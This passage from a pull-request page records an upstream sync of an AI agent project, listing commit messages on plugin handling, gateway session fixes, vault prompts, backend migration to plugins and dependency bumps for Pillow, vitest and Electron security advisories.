chore: sync upstream (5168 Commits) #11

Merged
alf merged 5172 commits from chore/sync-upstream-20261105 into main 2026-11-06 00:23:02 +00:00
Owner

Upstream-Sync von upstream/main (5168 Commits). Merge-Commit, 43 eigene Commits bleiben erhalten. Konflikte von Hand gelöst.

  • 79658be93b docs(memory): point the public-module comment at plugin_api.json
  • 0502fe0597 feat(plugins): one published list of what plugins may import
  • 7e8c8a5856 fix(plugins): keep a reloaded hosted plugin when an abandoned load fails late
  • f23fb505e7 fix(plugins): keep a failed hosted load's error when its cleanup fails
  • 994e901730 fix(plugins): run a failed hosted load's on_unload cleanup
  • 0004efe89b test(plugins): fail when the session identity example loses its import
  • bce3109469 docs(plugins): get_session_env falls back to the environment when unbound
  • d982caf654 fix(plugins): show the get_session_env import that validate accepts
  • 91e7b43bad fix(plugins): plugin packs refuse a bare name whose catalog entry is recalled
  • f77f25a350 fix(plugins): judge enable of a nested plugin by its own manifest and directory
  • 347833a129 fix(plugins): updates of --allow-removed subdirectory installs keep working
  • ca17481680 fix(plugins): plugin packs and dashboard/TUI enable respect the plugin kill list
  • 8987ae565f fix(gateway): owner names a managed approvals.mode when it refuses the write
  • 2dc7afd82e fix(gateway): owner refuses a global reasoning level when agent.reasoning_effort is managed
  • 7a8c7bd693 fix(tui_gateway): queue a global model pick that only keeps a pinned context length
Upstream-Sync von `upstream/main` (5168 Commits). Merge-Commit, 43 eigene Commits bleiben erhalten. Konflikte von Hand gelöst. - 79658be93b docs(memory): point the public-module comment at plugin_api.json - 0502fe0597 feat(plugins): one published list of what plugins may import - 7e8c8a5856 fix(plugins): keep a reloaded hosted plugin when an abandoned load fails late - f23fb505e7 fix(plugins): keep a failed hosted load's error when its cleanup fails - 994e901730 fix(plugins): run a failed hosted load's on_unload cleanup - 0004efe89b test(plugins): fail when the session identity example loses its import - bce3109469 docs(plugins): get_session_env falls back to the environment when unbound - d982caf654 fix(plugins): show the get_session_env import that validate accepts - 91e7b43bad fix(plugins): plugin packs refuse a bare name whose catalog entry is recalled - f77f25a350 fix(plugins): judge enable of a nested plugin by its own manifest and directory - 347833a129 fix(plugins): updates of --allow-removed subdirectory installs keep working - ca17481680 fix(plugins): plugin packs and dashboard/TUI enable respect the plugin kill list - 8987ae565f fix(gateway): owner names a managed approvals.mode when it refuses the write - 2dc7afd82e fix(gateway): owner refuses a global reasoning level when agent.reasoning_effort is managed - 7a8c7bd693 fix(tui_gateway): queue a global model pick that only keeps a pinned context length
alf added 5171 commits 2026-11-05 23:55:05 +00:00
effectivePackage overrode the package with a plain attrset, replacing its
extraDependencyGroups. The default package is minimal plus the provider
groups (anthropic, messaging, ...), so setting extraPythonPackages alone
rebuilt the venv as minimal and dropped them. Use the function form of
override and append instead; add a module-level check that the default
venv is unchanged.
The default and messaging packages carried their groups in
extraDependencyGroups, so the documented overlay path
`pkgs.hermes-agent.override { extraDependencyGroups = [ ... ]; }`
replaced them and rebuilt the venv as minimal. Give the package its own
defaultDependencyGroups argument, set it from packages.nix, and keep
extraDependencyGroups purely additive (deduplicated, devPython too).

Replace module-extras-extend-package with extras-extend-package, which
covers the overlay and module paths and asserts positive effects as well
as preserved ones, so an implementation that ignores the extras fails.
Pillow 13.0.0 fixes 28 advisories open against 12.3.0, three critical:
GHSA-8g5g-8vmr-9782 (heap overflow in ImagingJpegDecode),
GHSA-332p-7hrc-92wf (heap overflow saving TIFF to a buffer) and
GHSA-w889-685w-c8fh (Ghostscript argument injection), plus 16 high and
9 medium decoder/encoder memory-safety and DoS fixes. None has a 12.x
backport.

browser-harness 0.1.13, a core dependency and its latest release, pins
pillow==12.3.0 exactly, so the bump needs a uv override. The override
equals the direct pin (the existing contract for direct overrides).
browser-harness only opens, converts, composes, thumbnails and draws
images; its contact-sheet, masked-frame, thumbnail and click-overlay
output is pixel-identical under 12.3.0 and 13.0.0. pillow-heif stays
at 1.6.0 (requires pillow>=11.1.0); its HEIC round trip is identical
too. uv.lock changes only pillow.

An override installs a version the dependent's own metadata rejects, so
PM's install-time `uv pip check` failed every install (activate, pm
install/repair, fresh and bundle builds) with "browser-harness requires
pillow==12.3.0, but 13.0.0 is installed". check() now takes the uv.lock
the environment was installed from. pm/pip_check.py accepts a report
line only when that lock's [manifest] overrides name the dependency and
it is installed at the version the lock resolved. Missing packages,
other mismatches and any report it cannot fully parse still fail.
pm/pip_check.py is stdlib-only (with a tomllib-less fallback) because
the bootstrap runner loads pm.environment on older system pythons.

test_direct_overrides_preserve_the_declared_exact_version compared the
declared spelling (Pillow) with uv.lock's normalized names, so it found
no locked rows for the first capitalised override; it now compares
canonical names.
An environment created with an output sink streams uv and keeps only
the last 2,000 characters, so a long `uv pip check` report could lose
its head: the "Found N" total and any unrelated failure printed before
2,000+ characters of override-covered lines. unexpected_incompatibilities
skipped the count check when the total was missing, so the surviving
lines read as fully explained and check() accepted a broken environment.

check() now runs pip check captured (it is a quiet step, so streaming
showed nothing anyway), and override exceptions are accepted only when
uv's "Found N" total is present and matches the lines parsed.
Desktop chats run on the session authority, which installed the sudo and
skill-secret prompts for a local viewer's turn but never the three vault
callbacks. browser_vault therefore answered prompt_unavailable ("this
session cannot ask the user") in every Desktop chat: an emailed or texted
sign-in code could not be entered, a login could not be saved from the
chat, and a password manager could not be unlocked.

The owner now sends the sidecar's vault.unlock_prompt, vault.save_login
and vault.code requests to the viewers attached to the session's event
stream, as it already does for sudo and secret. The Desktop and Ink cards
already handle these frames. Values travel only in the viewer's response
frame and are never published, journaled or logged.

- gateway/session_vault_prompt.py: vault_prompt_scope installs the three
  callbacks and the unlock owner for a local viewer's turn and restores
  them after; release_unlocks locks the managers a session unlocked.
- gateway/run_turn_runner.py: enter the scope beside sudo and secret.
- gateway/session_viewer_close.py: release the session's unlocks when its
  last viewer closes it, as the sidecar's session end does.
- hermes_cli/gateway_agent.py: the classic CLI viewer answers vault.*
  requests through its own panels instead of leaving them to time out.
Review follow-ups for the vault prompts on the session authority:

- tools/thread_context.py, agent/vault_backends/unlock.py: carry the
  unlock owner (the session bound on the agent thread) to tool workers
  with the prompt callbacks. browser_vault often runs on a worker, where
  the owner was None, so closing the chat did not lock a manager it
  unlocked. get_current_session_id is the getter the table needs.
- hermes_cli/cli_modal_mixin.py: _withdraw_gateway_modal closes the vault
  panels (they share the sudo panel's state) when another viewer answers
  first, instead of leaving the classic CLI parked until its own deadline.
- tests: a worker-stored unlock is released with its session; another
  viewer answering each vault prompt releases main's real panel; the new
  gateway tests use tests.waiting.wait_until.
A Desktop chat's local mark lives in the policy's own config, not the frozen create request: an exact retry from a socket whose declaration has not landed resumes the chat, and launch_request no longer echoes it.
A chat created on the welcome trial's model follows its profile (FOLLOW_ADOPTED), so the provider the user connects later replaces nous/welcome.
A bootstrap that could not record the install or settle the claim is retried on the local Desktop's next connection instead of only after a gateway restart.
onboarding.start's claim path refuses (5080) before writing onboarding.run unless the request serves the local Desktop, on the authority and the sidecar; a rerun from Settings is unchanged.
The trial's free model was a fallback only ordinary session.create calls reached. A fresh install that claimed the trial has no model.default, so a default cron job refused with "no model configured" and a Kanban worker's launch policy carried an empty model that restore_policy rejected as storage_unavailable.

The trial is now the last rung of model resolution (anon_auth.trial_model): _resolve_gateway_model falls back to it, which covers session.create, Kanban workers and every other gateway reader, and the cron ladder ends on it below HERMES_MODEL. It is never written to config.yaml, so a configured model wins at once. A chat created on the trial model keeps its FOLLOW_ADOPTED mark.
A fresh launch's onboarding.start chose the chats to delete (no live viewer) on the loop, then
deleted them in the settle write. A session.resume finishing during that write attached a viewer
to a chat the stale choice still deleted.

The chosen chats are now claims on the authority. attach takes a claim back before the viewer
joins, and the settle write deletes a chat only while its claim stands; one lock covers the
take-back and the delete, so a resume either keeps the chat (its run ends as replaced) or meets
the committed delete as not_found. The take-back waits off the loop, since a delete in flight
holds the lock across its write.
onboarding.start's claim path refuses (5080) outside the local Desktop since d838333682. These
fixtures never bound serving_local_desktop the way the Desktop's declared socket does, so all three
tests got the refusal. The client fixture now binds it, as test_onboarding_session's does; the gate
is unchanged.
attach took a fresh launch's claim back before prepare_history, which yields to a worker thread. A
resume could pass the take-back before any claim existed, pause while the start found the chat
unwatched and claimed it, then join; the claim stood and the settle write deleted the reopened chat.

The take-back now runs after attach's last other await and never yields itself, so the viewer joins
in the same loop step: the start (which claims only on the loop) either claimed first and the claim
is taken back, or sees the viewer and claims nothing. A delete in flight still holds the lock across
its write; the take-back waits for it off the loop and retries, and the re-check answers not_found.
main stamped desktop_local into a Desktop chat's frozen create request; d838333682 moved the mark to
the policy's own config. For a chat main saved, the Desktop's exact retry after a reconnect (which
never sends the key) was refused as invalid_params, and its turns no longer ran as work for the local
Desktop.

client_request drops desktop_local from the saved request, since the owner stamped it and no client
can send it (CREATE_FIELDS refuses it). local_desktop_turn reads the mark from either place.
A turn that failed on the session authority completed with status 'error'
and no error_surface, so the Desktop showed the generic card (with a Retry
that fails again against a full free tier) instead of free_tier_at_capacity,
rate_limit with its reset time, auth, and so on.

- run_turn_runner: the projection keeps free_tier, failure_retryable and
  failure_resets_at, the fields build_error_surface_from_result reads.
- session_settlement_recovery.completion_payload: every failed completion
  builds the descriptor from its result; a gateway refusal's prebuilt one
  (session_cron) still wins.
- managed_worker: the worker result frame carries the same fields, with
  free_tier validated like billing_block.
Most failed turn results (agent/turn_recovery._failed_turn_result and the
other early exits) name no provider or model, so the descriptor the
authority built for message.complete had no auth_kind / api_key_env and the
Desktop's auth card offered no action. The TUI path reads both from the
agent; the authority now does too.

- run_turn_runner: the projection records the agent's provider beside its
  model (a result that names one still wins).
- managed_worker: the worker's result frame carries the agent's provider and
  model unless the result already names them.
The toolset routes (PUT /api/tools/toolsets/<ts>, GET .../config, PUT
.../provider, PUT .../env, POST .../post-setup) ran _require_known_toolset on
the event loop before entering the requested profile's scope, so the name was
checked against the launch profile's plugin toolsets while
GET /api/tools/toolsets?profile= lists the target profile's own. A plugin
toolset installed only in a secondary profile (spotify, homeassistant, ...)
was listed there and refused with 400 Unknown toolset on every edit. The check
now runs in the same scope as the work; the post-setup route also checks its
key (plugin providers' post_setup keys are per profile) in that scope.
PUT /api/messaging/platforms/<id> and POST .../<id>/test looked the platform up
(plus its env-value rules and authz env names) in the launch profile's
platform registry before entering the requested profile's scope, while
GET /api/messaging/platforms?profile= builds the target profile's catalog. A
platform plugin installed only in a secondary profile was listed there and
refused with 404 on edit and test; a plugin only the launch profile has passed
the check and applied its env allowlist to the other profile's .env. The
lookups now run in the target scope, where the catalog build materializes that
profile's entries, so its value rules still apply.
The Singularity/Apptainer backend (tools/environments/singularity.py) now ships
as the official 'singularity' plugin in NousResearch/hermes-official-plugins,
registered through the terminal-environment provider seam under the same
backend name and config keys (terminal.backend: singularity,
terminal.singularity_image / TERMINAL_SINGULARITY_IMAGE, terminal.container_*).

- 'singularity' leaves BUILTIN_BACKEND_NAMES so the plugin can register it;
  every hardcoded classification set drops it (the provider declares
  is_remote/is_container/supports_streams instead).
- LEFT_CORE gains a singularity row: homes whose terminal.backend (or .env
  TERMINAL_ENV) is singularity get the catalog plugin once, on hermes update
  or agent/gateway start. An unknown-backend error for 'singularity' names
  the install command (new row field terminal_backend).
- A plugin backend receives its per-task '<backend>_image' override; batch
  runs register one for the active backend.
- BaseEnvironment's sudo-probe knob is renamed _passwordless_sudo_probe_supported:
  plugin backends set it, and the old spelling trips the install scanner.
- Core's scratch-dir disk warning and process-exit sweep were Singularity-only
  and move to the plugin; the singularity setup row, dashboard probe/row and
  config defaults/bridges go too. Docs point at the plugin.
Under plugins.isolation: host a user terminal backend's create_environment()
ran in the host and its environment came back as an Opaque placeholder, so the
first command failed with a backwards 'not available inside the plugin host'
AttributeError and the host was left holding a sandbox nothing could clean up.
Pre-existing for every plugin terminal backend; the Singularity move makes it
reachable for Singularity users who run host isolation.

Creating the environment now refuses before the host starts anything, naming
plugins.isolation: in_process (the Bot Desktop placement refusal's shape).
- The dotenv layer is the home's .env with the administrator-managed .env
  applied last, as load_hermes_dotenv does: a managed TERMINAL_ENV=singularity
  over a home's TERMINAL_ENV=local runs Singularity, so the home needs the plugin.
- TERMINAL_* is process-global (get_secret never scopes it), so the startup
  fallback to the process env counted the launch profile's backend for every
  secondary home the gateway serves. It now applies to the launch home only.
PUT /api/tools/terminal/backend checked the name against the launch home's
plugin backends before config_write_scope switched to the requested profile,
while GET /api/tools/terminal/backends?profile= lists that profile's own. A
backend plugin installed only in a secondary profile (the singularity plugin,
now that the backend left core) was listed there and refused with 400 on
select. The check now runs in the same scope as the write.

Review: https://github.com/NousResearch/hermes-agent/pull/142561#discussion_r4343427772
load_hermes_dotenv expands ${VAR} / ${VAR:-default} before TERMINAL_ENV picks
the backend, so `HPC_BACKEND=singularity` + `TERMINAL_ENV=${HPC_BACKEND}` runs
Singularity. The predicate compared the raw text, said no, and the non-empty
reference also blocked the startup process-env fallback: update and startup
both skipped the plugin.

env_loader.resolve_home_dotenv returns what load_hermes_dotenv would publish
from a home's dotenv layers (home .env, then managed .env, both override),
read-only, through the same parser and resolution step the loader now shares
(_parse_dotenv_file, _dotenv_lookup_env, _resolve_dotenv_assignments).

Review: https://github.com/NousResearch/hermes-agent/pull/142561#discussion_r4343427764
While core shipped the backend, `hermes config set terminal.singularity_image`
also wrote TERMINAL_SINGULARITY_IMAGE to .env (TERMINAL_CONFIG_ENV_MAP), and the
plugin still falls back to that copy. Dropping the key from the runtime bridge
also dropped it from `config unset`, so a reset removed only the YAML and the old
image came back instead of the default. left_core_migration.RETIRED_TERMINAL_ENV_COPIES
keeps the cleanup without restoring the bridge.

Review: https://github.com/NousResearch/hermes-agent/pull/142561#discussion_r4345291204
The key left DEFAULT_CONFIG with the backend, but the singularity plugin reads it
and its setup text says `hermes config set terminal.singularity_image <image>`;
set and get now flagged it "not a recognized config key ... Hermes may not read
it". A seeded default would hide the plugin's TERMINAL_SINGULARITY_IMAGE fallback,
so _validate_config_key accepts left_core_migration.LEFT_CORE_TERMINAL_KEYS (the
renamed RETIRED_TERMINAL_ENV_COPIES, which unset already consults) instead.

The wrong-prefix refusal text moves to hermes_cli/config_key_notices.py to keep
config.py under its line cap.

Review: https://github.com/NousResearch/hermes-agent/pull/142561#pullrequestreview (kshitijk4poor, item 2)
* fix(desktop): catalog card actions sit above the card-wide hit area

On compact and hero cards the action slot comes before the title button,
whose ::after stretches over the whole card and painted on top of it, so
clicks on the switch or + opened the details instead.

* feat(desktop): install catalog entries with +, switch only once installed

Install is one-way, so it is now a + button instead of a switch that also
meant enable/disable. Installed entries keep their on/off switch. Featured
cards and the detail spell it out as "+ Install". A plugin's Uninstall
moves from the header trash icon to a labelled row at the bottom of its
detail.

* feat(plugins): badge the install dialog with the catalog tier

The dialog called every catalog pick Verified. It now says Official,
Verified or Community. plugins.catalog.lookup returns the tier so
hermes://plugin/install?catalog= links badge the same as in-app picks.

* refactor(desktop): plugin Uninstall row is its own component

Keeps PackageRow under its code-health complexity cap.

* chore(i18n): regenerate desktop locale keys for catalog.install

* fix(desktop): "Install here" badges the catalog tier too

The third way into the install dialog opened it with a catalog name but no
tier, so a community package still read Verified. Read the tier from the
cached catalog by name; uncached keeps the generic badge. Also note why the
catalog path passes entry.source as the tier.
Requirements builds (Termux deb assembly and wheelhouse gate, PM runtime
wheelhouse install) install the lock's export with uv pip install, which
re-resolves and rejects the overridden graph. Pass the lock: its manifest
overrides become --overrides and the closing check accepts them.

FORCE_COLOR/CLICOLOR_FORCE made uv pip check emit ANSI the report parser
cannot read, failing every install with an expected override mismatch.
Print a compact tools/uv/npm summary from setup-pm, including the selected
restore outcome, exact-hit output, cache path, ref scope and save policy.
Keep actual archive sizes and upload results in the native cache logs.
Do not scan cache trees or add logging wrappers to non-PM cache actions.
Collect ordinary actions/cache job logs alongside the existing timing
snapshot and retain per-invocation restore/write receipts and archive bytes.
Compare each cache with main and show saved-minus-restored archive changes
in the review comment, Actions summary and complete HTML report.

Count successful writes only after their save receipt; transfer progress
supplies a size once, never a sum. Preserve unknown sizes, failed or missing
logs, lookup-only results and exact-hit save skips. Match content-keyed
writes to their restored paths, without inspecting cache contents or using
the GitHub inventory as a proxy for a runner provider's cache store.
put cache hits/attempts and restored/missed archive bytes above an expander.
show hit and miss job/step links in both Markdown and HTML. off main,
compare hits with main's latest measured archive and hide write figures;
on main, show saved bytes without self-comparison.

retain unknown outcomes and sizes instead of treating them as misses or
zero. miss-byte totals use main archive references off main, and newly
saved archive sizes on main. preserve the real run mode and step numbers
in the snapshot so artifact-only rendering keeps the same behavior.
Use one escaped HTML fragment for the report and review comment instead
of maintaining separate Markdown and HTML table builders. GitHub's
renderer preserves the same table text and all 39 real job/step links.

Remove the obsolete phase-generic accounting helper, redundant attempt
list and save-evidence flag, and unused collected-job counter. Append
main's saved column in one place.

Use urllib's unredirected Authorization header instead of a custom
redirect handler. The real HTTP redirect test still proves that only
the API request receives the token. Exercise PM formatting directly,
while retaining the actual stdlib-only CLI invocation test.

Verification: 696 CI tests pass, one native skip, and all 12 checks pass.
Saved real-log parser records and rendered values remain unchanged.
Remove the PM stdout and presentation suites and their log-building
helpers. Keep only receipt-based archive accounting and the real HTTP
token-isolation boundary. Display mode and identity/pairing matrices
are deliberately no longer maintained as automated tests.

Production code, including the existing local formatting amend, is
unchanged. Maintained new tests shrink from 383 to 72 lines.

Both survivors pass and catch all six injected accounting/auth faults
in an isolated checkout. All 12 checks pass for this test-only change.
fix(deps): bump Pillow 12.3.0 → 13.0.0 (critical, GHSA-8g5g-8vmr-9782)
A local session freezes its working directory; the owner's readiness gate
(policy_scope) refuses any turn whose frozen cwd no longer exists, by design.
But TurnRunner.run_sync let that RuntimeStoreError('workspace_unavailable')
escape as a raw exception into the generic agent-error handler, so every
surface showed an unexplained failure: the classic CLI printed "The model
request failed. Run /model ... / Details: Something went wrong", the
transcript gained a false "Some actions may already have run" row, and the
gateway logged a traceback per message. A classic `hermes -w` session whose
clean tree quit removed (or any folder deleted by hand) became a chat where
every message failed with no hint why.

run_sync now catches only that refusal on scope entry and settles the turn as
a failed, never-run result (api_calls 0) with its own copy naming the missing
folder and the way out (recreate it, `/worktree new` in the CLI, Move to
project in Desktop), stamped failure_reason workspace_unavailable /
failure_retryable false: the same shape the model-resolution failure path
uses. The refusal carries field=cwd, detail=<path> so other paths that
surface it name the folder too. agent/error_surface maps the code to the
gateway layer (no "Switch provider"), and Desktop gets its own error-card
copy with Retry + Start new chat.

Copy lands in all 17 gateway catalogs and the 9 Desktop catalogs carrying
error codes. The over-cap Desktop catalogs offset the growth by moving their
error-card tables into topical siblings (<lang>_error_layers.ts as en already
does, en/ru_error_codes.ts).
The workspace refusal now carries field=cwd, detail=<path>, but two
error boundaries dropped it: the classic CLI's /compress printed the bare
GatewayRPCError (only the reason code) and the /btw side-agent worker
published only exc.reason. /compress now goes through refusal_text (the
existing helper that prints field/detail from the RPC error data) and the
side worker appends (field: detail) when the refusal names them.

Live (Ink TUI, folder removed): [btw ...] error: workspace_unavailable
(cwd: <path>). Reported by Greptile on #143075.
Live: in a session whose folder is gone, /goal burned its whole 20-turn
budget in ~40 s. Every continuation was refused, yet the classic CLI's
goal hook judged the previous (stale) assistant reply each time and
re-queued, one judge model call per refusal. The gateway hook (Desktop,
TUI on the shared gateway, messaging) would judge the refusal text, since
a failed turn now settles with text. A /loop --until tick likewise graded
stale or refusal text on every tick.

Both hooks now follow the TUI's existing rule (_is_successful_goal_turn):
a failed turn is no evidence. The classic CLI records _last_turn_failed
next to _last_turn_interrupted and skips the goal judge; the gateway reads
the owner's captured result (execution_result) and skips the goal hook.
/loop ticks are still released and rescheduled, with no text, so --until
never grades a refusal and the loop heals by itself once the folder is
back. The goal stays active (0 turns spent) and resumes on the next real
turn.
Safe-mode and config-only sessions run turns in a managed worker. A
removed folder crashed that worker inside its policy scope; the worker
reported only managed_worker_failed, which the owner treats as a LOST
execution: the admission settled unknown and every later message stayed
queued behind it, even after the folder came back.

The managed ingress route (admit_managed) now checks workspace readiness
before any worker exists and settles the same stamped, never-run failure
the in-process runner does. workspace_ready / workspace_unavailable_result
move to gateway/session_policy.py so policy_scope, TurnRunner and the
managed route share one predicate and one result; execute_managed (the
spawn phase tests drive directly) is unchanged.

Real-gateway test: safe-mode session, folder removed -> terminal/failed
naming the folder with zero model calls; folder restored -> the next
message completes. Red on the previous head with ('unknown', None).
Found by an independent review of #143075.
test_fragmented_resume_obeys_connection_limit read `maximum == 2` with
connections=1 (main run 37594754436). The fake server decremented `active` in a
`finally` AFTER wfile.write: once the client has the bytes it opens its next
sequential gap, so a handler thread descheduled between the write and the
decrement overlapped the next request on the counter alone. Decrement right after
the release wait, before the body; a genuinely concurrent request has already
entered while the first sat on the release, so overlap is still caught.

The two-process sibling (test_processes_share_partial_ownership_...) had the same
write-then-decrement shape; fixed the same way.
Enabling or updating a plugin whose pyproject.toml declares `dependencies = []` (the official
agent-importers plugin) ran "Resolving / Installing Python dependencies" and built a new
environment generation although nothing gets installed, and every update of the plugin did it
again.

Workspace membership keyed on "has a pyproject", so such a plugin became a uv workspace member,
and members_stamp hashes a member's whole tree into the venv stamp: enabling it, or any change to
its files, made the recorded environment stale. A plugin is now a member only when it installs
packages (`PythonDeclaration.installs_packages`, the predicate dependency consent already uses
since the sibling fix for the empty consent step), so membership, requires-python checks and the
stamp all follow what the plugin actually puts in the environment.

Test fixtures that used a dep-less pyproject as a cheap stand-in for a member now declare a real
dependency (a local wheel through tool.uv.sources, resolvable offline, or a requirement where no
resolution runs); their assertions are unchanged. New: enabling a `dependencies = []` plugin
through the real admission path keeps the selected generation and recorded stamp, a later change
to its files keeps the venv current, and a plugin with a real dependency still joins.
The Claude Code / Codex CLI importer (hermes_cli/agent_import.py,
agent_import_sync.py, the import-agent subparser and its tests) now
ships as the official agent-importers catalog plugin, which also adds
Cursor. The command spelling, flags and the per-profile import-sync.json
manifest are unchanged.

Migration: a LEFT_CORE row (cli=import-agent) makes the old spelling,
run without the plugin, print the install line for the active home.
Only homes with a registered sync source (import-sync.json, which
scheduled --sync runs read) get the plugin installed automatically; a
one-shot import leaves no other trace, so everyone else installs it when
they next need it.

hermes profile create --sync-imports keeps copying import-sync.json (a
plain file at the profile root); it no longer imports the importer.
`hermes claw` (hermes_cli/claw.py) and the openclaw-migration optional skill
moved into the agent-importers plugin (hermes-official-plugins #140/#141), which
keeps `hermes claw migrate|cleanup` as the older spelling of
`hermes import-agent openclaw`. Core drops them with their tests (ported to the
plugin) and the eval leg that loaded the skill's script.

Setup: hermes_cli/setup_agent_import.py replaces setup_migration's OpenClaw
offer. On a first-time `hermes setup` it checks ~/.openclaw (or ~/.clawdbot /
~/.moltbot), ~/.claude, ~/.codex and ~/.cursor; when any is found it asks
"Import your setup from <found>?" (default yes), shows a checklist when more
than one was found, installs agent-importers through the normal catalog install
(or enables it when present), then runs `hermes import-agent <agent>` for each
pick in a child process, which previews and asks first. OpenClaw gets
--migrate-secrets, as core's step did. Nothing found, a no, or
HERMES_NONINTERACTIVE: no prompt, nothing installed. The skip-configured-section
offer now follows any import that changed config.yaml or .env.

LEFT_CORE: `claw` joins the agent-importers row as old_cli, so `hermes claw`
without the plugin names the install. No automatic install for it: an OpenClaw
migration is one-shot and leaves no state that needs the plugin later.

Docs: import guide, OpenClaw guide, cli-commands, quickstart, bundled
cli-reference; locale tips and README pointers.
A home with sync sources (import-sync.json) that upgraded without
`hermes update` (a Docker image swap) has no agent-importers plugin, and
when the scheduled `hermes import-agent --sync` is its only Hermes process
no agent or gateway start ever runs the left-core recovery: every run
failed with the moved-command hint. A command a left-core plugin registers
now runs that recovery for the active home before plugin commands are
discovered (same lazy-install policy and backoff), so the install lands and
the command runs in the same invocation.
The agent-importers row used `cli`, the field for a plugin command that
replaces core's `hermes auth <cli>` login, so `hermes auth import-agent`
answered "is now `hermes import-agent login`". `hermes import-agent` is
core's own top-level command kept under its name: that is `command`
(without an `old_command`), which the top-level hint already matches.
The import child got HERMES_HOME but no profile selector, so on the root
home its _apply_profile_override followed a sticky active_profile into
another profile: the import failed there (no plugin) or wrote into the
wrong profile. A root home now passes --profile default, as
spawn_unmanaged_gateway does.

Enabling an installed-but-disabled agent-importers raises AdmissionRefused
when PM cannot admit it; only SystemExit was caught, so the refusal ended
the whole wizard. It is now caught like the install's exit: the import is
skipped with a warning and setup goes on.
Hermes spawns its own CLI as `python -m hermes_cli.main`. Run that way the
module executes as __main__, and a later `import hermes_cli.main` loads a
second copy whose import-time _apply_profile_override sees the argv the
first one already stripped and HERMES_HOME at the root, so it follows a
sticky active_profile: `--profile default` (setup's import child,
spawn_unmanaged_gateway's root selector) ran in the other profile. The
__main__ module now registers itself as hermes_cli.main before the
override runs, so the later import reuses it.
`hermes plugins install/enable` printed "Restart the gateway for the plugin to take effect" whenever
no gateway answered the reload, including when none runs or is installed for the profile (every
first-time `hermes setup`): a gateway started later loads the plugin at boot. The hint now needs a
live gateway pid for the profile (or the root serving it) or an installed gateway service.

`cmd_install(brief=True)` is for a caller that already said what it installs and why (setup's
agent-import step): the catalog pin line, prompts, warnings, errors and the outcome still print;
the ~20-line catalog description, the clone line and the default "Installed" panel do not.
The yes/no is a full-screen menu that hid the "Found on this computer: ..." lines printed before it,
so "Import your setup from any of them?" pointed at text the user could not see. prompt_yes_no
takes a description (the menu already rendered one) and the step passes the detection lines.

The plugin install is brief (one catalog line plus the outcome), and the import runs with the
plugin's --from-setup (hermes-official-plugins#159), so it does not tell the user to run
`hermes setup` from inside setup and folds OpenClaw's skipped items into one line.
Latest 4.1.x patch: mocker hardening for manual and redirect mocks
(vitest-dev/vitest#11580 backport to v4). Also bumps @vitest/mocker.

vitest 4.1.12 is 7 days old, below the min-release-age=14d guard, so
.npmrc gains a dated exclude entry (remove when > 2wks old).
When a turn hits agent.max_turns, Hermes still makes one toolless call and
returns the agent's wrap-up of what it found. /v1/chat/completions mapped that
result (completed=false, not interrupted, no error) through the not-completed
fallback to finish_reason "cancelled" with hermes.error_code "agent_error", a
code reserved for user interrupts (f48d09563b). An integration that treats
"cancelled" as an abort discards a usable answer.

Budget exits (turn_exit_reason max_iterations_reached(...) / budget_exhausted)
now report finish_reason "length" with hermes.error_code
"iteration_budget_exhausted", streaming and non-streaming. Interrupted turns
keep "cancelled"; real failures keep "error". /v1/responses already reports
status "incomplete" for this case and is unchanged.
A throttled read retried after its cooldown is the correct move, but the
exact-args failure streak counted it like any identical failure: from the
second attempt the result carried "This looks like a loop; ... change strategy
instead of retrying it unchanged", steering the model away from a valid retry
(seen with Slack MCP rate limits behind an enterprise connector).

A failed result that says it was throttled (a retry_after field, a 429 status,
or rate-limit wording in its error) no longer advances the exact-args streak.
It still counts toward same_tool_failure, so an endpoint that never recovers is
warned at 3 and halted at 8 on unattended platforms, as before.
Review follow-up: when the same call had already failed twice for an ordinary
reason, a later rate-limited result kept the old exact-args count and still drew
the "stop retrying unchanged" warning. A throttled result now never gets that
warning; the per-tool cap still bounds it.
Resolves the desktop i18n conflicts: main moved en/ru errorCodes into
en_error_codes.ts / ru_error_codes.ts, so usage_window moves there; ar/ja/zh/
zh-hant keep both usage_window and main's workspace_unavailable. _keys.desktop.json
regenerated.
chore(deps): bump vitest to 4.1.12
Electron 42 dropped the postinstall that unpacked its binary into
node_modules/electron/dist. The binary now appears on the first
require('electron'), so parallel vitest workers race to unpack it
("Text file busy" in #128267's CI), and `hermes desktop --source` finds
no path.txt to launch.

electron-runtime.mjs runs Electron's own install.js once: after npm ci
for the desktop workspace, and in CI before the parallel checks. It first
checks the installed package against the desktop pin and the lockfile,
and does nothing when the runtime is already in place. On the current
40.10.2 pin, whose postinstall still unpacks the binary, it is a no-op.

Salvaged from #137648 (the runtime-preparation subset only).
From 40.10.3 on, every Electron line unpacks its binary with
@electron-internal/extract-zip, an MSVC-built binding that imports
VCRUNTIME140.dll. A Windows host that never installed the VC++
Redistributable has no copy, so install.js dies with ERR_DLOPEN_FAILED.
This is the failure that made bb8280b753 roll Electron back to 40.10.2.

Our Python ships vcruntime140.dll. source_build_env() passes its path to
the Node builders as HERMES_VC_RUNTIME, and electron-runtime.mjs copies it
beside the extractor's binding right before it runs install.js. Node
loads bindings with LOAD_WITH_ALTERED_SEARCH_PATH (libuv uv_dlopen), so
Windows finds that copy first. This is the same app-local copy
fdea3e92e0 ships beside ARM64 rg.exe.

Clean Windows Sandbox (ARM64, no redist), Node 26.7.0, electron 44.9.3:
- before: install.js exits 1, "Cannot find native binding", ERR_DLOPEN_FAILED
- after: install.js exits 0, dist/electron.exe --version prints v44.9.3
Clears the electron advisories (GHSA-r4w5-6pfg-jxp5, GHSA-9f4c-93c8-jc8g) and,
via electron 44's @electron-internal/extract-zip, GHSA-jmr9-qjv8-65gv and
GHSA-7pqw-9j4j-h8q3. The pin stays in the 14-day aging gate's exclusion list
until 44.4.5 is two weeks old (2026-10-06), matching the .npmrc house
convention; the allowScripts entry follows the exact pin. mac packaging raises
minimumSystemVersion to 13.0 because Electron 44 dropped macOS 11/12 support.

Co-authored-by: Adihaliem <316252127+Adihaliem@users.noreply.github.com>
(cherry picked from commit 66b59c8389db9fa8e23cbda16c1f155574b6132d)
Electron 44 removed clipboard.readImage() and made readText/writeText
async. hermes:saveClipboardImage now reads PNG bytes through
clipboard.read() + ClipboardItem.getType('image/png'), extracted into
clipboard-image.ts with handler-level tests; hermes:writeClipboard awaits
the now-async writeText. Declares ws@^8.21.1 as an apps/desktop
dependency (same pin as #128311) so source-backend.test.ts typechecks
against a declared module instead of a transitive peer.

(cherry picked from commit 36d97a778f1915da4387d08f0cdbd407dce8da97)
Retargets the 44.4.5 bump to 44.9.3, the newest 44.x. Per #142533,
44.9.1+ carries the eMudhra root distrust, and 44.9.3 adds upstream
